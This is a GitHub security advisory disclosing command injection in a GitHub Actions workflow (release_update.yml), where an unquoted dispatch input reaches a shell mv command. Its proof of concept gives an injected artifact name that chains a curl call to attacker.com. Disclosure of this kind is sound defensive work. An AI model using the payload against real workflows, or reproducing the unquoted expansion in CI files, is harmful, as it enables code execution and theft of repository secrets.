Command Injection via unquoted workflow dispatch input in release_update.yml

High **SuperDragonXD** published **GHSA-9prc-pp2c-3427** 3 days ago

Package

release_update.yml (GitHub Actions)

Affected versions

older than commit fcba413, inclusive

Patched versions

None

Description

Summary

Command injection in release_update.yml workflow dispatch input allows arbitrary code execution.

Details

The workflow at `.github/workflows/release_update.yml` expands user input without proper quoting:

```
mv ${{ inputs.artifactName }}.zip lawnchair.zip
```

The `inputs.artifactName` parameter is directly substituted into the shell command, enabling command injection.

PoC

1. Navigate to Actions → Release Update workflow
2. Click "Run workflow"
3. Enter artifact name: `dummy; curl http://attacker.com; #`
4. Command executed: `mv dummy; curl http://attacker.com; #.zip lawnchair.zip`
5. Arbitrary commands execute in the Actions runner context

Impact

- Arbitrary code execution on GitHub Actions runner
- Access to repository secrets and credentials
- Ability to exfiltrate sensitive data
- Potential for supply chain attacks

Severity

High

CVE ID

CVE-2026-39866

Weaknesses

No CWEs

Credits

 **abhayclasher** Reporter